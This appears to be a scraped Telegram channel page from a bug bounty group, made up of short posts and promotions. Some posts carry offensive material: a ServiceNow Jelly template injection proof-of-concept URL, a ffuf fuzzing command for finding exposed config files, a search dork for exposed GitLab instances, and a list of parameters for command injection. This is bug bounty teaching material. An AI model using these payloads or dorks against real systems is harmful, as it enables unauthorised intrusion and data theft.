Brut Security
@brutsecurity
17.9K subscribers
1.15K photos
103 videos
362 files
1.26K links
✅DM: @wtf_brut
✅For Ad: https://tlmtr.io/p/2flAsc
🛃WhatsApp: https://wa.link/brutsecurity
🈴Training: https://brutsecurity.com
📨Mail: info@brutsec.com
Download Telegram
About
Blog
Apps
Platform
Join
Brut Security
17.9K subscribers
Brut Security
👏3
2.43K viewsSaumadip Mandal, 
Brut Security
Brut Security pinned «📣Understanding Bug Bounty Hunting for Newcomers📣 🎁Bug bounty hunting can seem appealing, but it’s important to know: 🖱High Skill Level Required: Success in bug bounty hunting demands a very high skill level. It's not just about using tools like Nuclei to…»
Brut Security
⚠️Template Injection on ServiceNow by @assetnote⚠️

📌PoC:
http://1337/login.do?jvar_page_title=<style><j:jelly xmlns:j="jelly" xmlns:g='glide'><g:evaluate>gs.addErrorMessage(7*7);</g:evaluate></j:jelly></style>


😬 https://assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data

🔖#bugbounty #bugbountytips #infosec
Please open Telegram to view this post
VIEW IN TELEGRAM
www.slcyber.io
Chaining Three Bugs to Access All Your ServiceNow Data
Three chained vulnerabilities in ServiceNow enable access to all instance data including user PII and credentials.
❤1👍1
2.23K viewsSaumadip Mandal, 
Brut Security
🔥Year in Bug Bounties - from 0 to $25,700* in 12 months (Stats, Graphs, Learnings, Experiences & Plans!)🔥

🔗https://shreyaschavhan.notion.site/Year-in-Bug-Bounties-from-0-to-25-700-in-12-months-Stats-Graphs-Learnings-Experiences-Plan-9ccb71a21f874d71be9e112a52620a80
Please open Telegram to view this post
VIEW IN TELEGRAM
shreyaschavhan on Notion
Year in Bug Bounties - from 0 to $25,700* in 12 months (Stats, Graphs, Learnings, Experiences & Plans!) | Notion
Table of Content:
🔥5👍1
2.27K viewsSaumadip Mandal, edited  
Brut Security
💥Last Week to Enroll for July Batch
▶️https://wa.link/7j7p6g
Please open Telegram to view this post
VIEW IN TELEGRAM
2.42K viewsSaumadip Mandal, edited  
Brut Security
🤣🤣 Brother doing hardcore to get a bounty
🐳5🔥2❤1
2.41K viewsSaumadip Mandal, edited  
Brut Security
💃 New Bug Bounty Target - https://tovawald.com/.well-known/security.txt
Please open Telegram to view this post
VIEW IN TELEGRAM
2.3K viewsSaumadip Mandal, 
Brut Security
🤔New Bug Bounty Target - https://www.werkstatt-bremen.de/.well-known/security.txt
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2
2.24K viewsSaumadip Mandal, edited  
Brut Security
☄️Sensitive Information Disclosure Through Config File☄️

⚠️Steps To Reproduce:
ffuf -c -ac -r -u https://target[.]com/FUZZ -w wordlist.txt


⚠️Wordlists:
🔗https://github.com/six2dez/OneListForAll
🔗https://wordlists.assetnote.io/
🔗https://github.com/danielmiessler/SecLists
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - six2dez/OneListForAll: Rockyou for web fuzzing
Rockyou for web fuzzing. Contribute to six2dez/OneListForAll development by creating an account on GitHub.
🔥5
2.75K viewsSaumadip Mandal, 
Brut Security
157 Methods for Privilege Escalation (WindowsLinuxMacos) PDF.pdf
84.9 MB
👍1
7.22K viewsSaumadip Mandal, 
Brut Security
This media is not supported in your browser
VIEW IN TELEGRAM
🥲
👍2
2.51K viewsSaumadip Mandal, 
Brut Security
Shodan_for_Pentesting_1718863899.pdf
13.1 MB
👍5
2.66K viewsSaumadip Mandal, 
Brut Security
🔥3
2.42K viewsSaumadip Mandal, 
Brut Security
CVE-2024-6385: Improper Access Control in GitLab, 9.6 rating 🔥

The new vulnerability allows an attacker to run pipeline jobs with the rights of any other user.

Search at Netlas.io:
👉 Link: https://nt.ls/HvsUY
👉 Dork: http.favicon.hash_sha256:72a2cad5025aa931d6ea56c3201d1f18e68a8cd39788c7c80d5b2b82aa5143ef

Read more: https://www.bleepingcomputer.com/news/security/gitlab-warns-of-critical-bug-that-lets-attackers-run-pipelines-as-an-arbitrary-user/
2.51K viewsSaumadip Mandal, 
Brut Security
⚠️CVE-2024-4879 - Jelly Template Injection Vulnerability in ServiceNow
▶️Video POC - Click Here
⚠️Nuclei Template - Click Here
Please open Telegram to view this post
VIEW IN TELEGRAM
YouTube
CVE-2024-4879 | Template Injection Vulnerability in ServiceNow | Bug Bounty POC | Brut Security
🚨CVE-2024-4879 & CVE-2024-5217: ServiceNow Security Vulnerabilities Expose Businesses to RCE and Data Breaches

⚖These vulnerabilities enable unauthenticated remote attackers to execute arbitrary code within the Now Platform,
potentially leading to complete…
🤡2❤1🔥1
2.78K viewsSaumadip Mandal, 
Brut Security
Brut Security
⚠️CVE-2024-4879 - Jelly Template Injection Vulnerability in ServiceNow ▶️Video POC - Click Here ⚠️Nuclei Template - Click Here
☄️New Template Added For DB Exploitation
🔥Link - https://github.com/Brut-Security/CVE-2024-4879
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4
2.74K viewsSaumadip Mandal, edited  
Brut Security
IDOR.pdf
78.5 KB
👍1
2.9K viewsSaumadip Mandal, 
Brut Security
Brut Security
Parameters where you can try Command Injection. ?cmd={payload} ?exec={payload} ?command={payload} ?execute{payload} ?ping={payload} ?query={payload} ?jump={payload} ?code={payload} ?reg={payload} ?do={payload} ?func={payload} ?arg={payload} …
Keep Checking Old Posts 🍿
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2
2.6K viewsSaumadip Mandal, 
Brut Security
Brut Security pinned «Keep Checking Old Posts 🍿»
Brut Security
Is X Bug Bounty Community
Anonymous Poll
38%
Toxic
62%
Great
185 voters2.44K viewsSaumadip Mandal,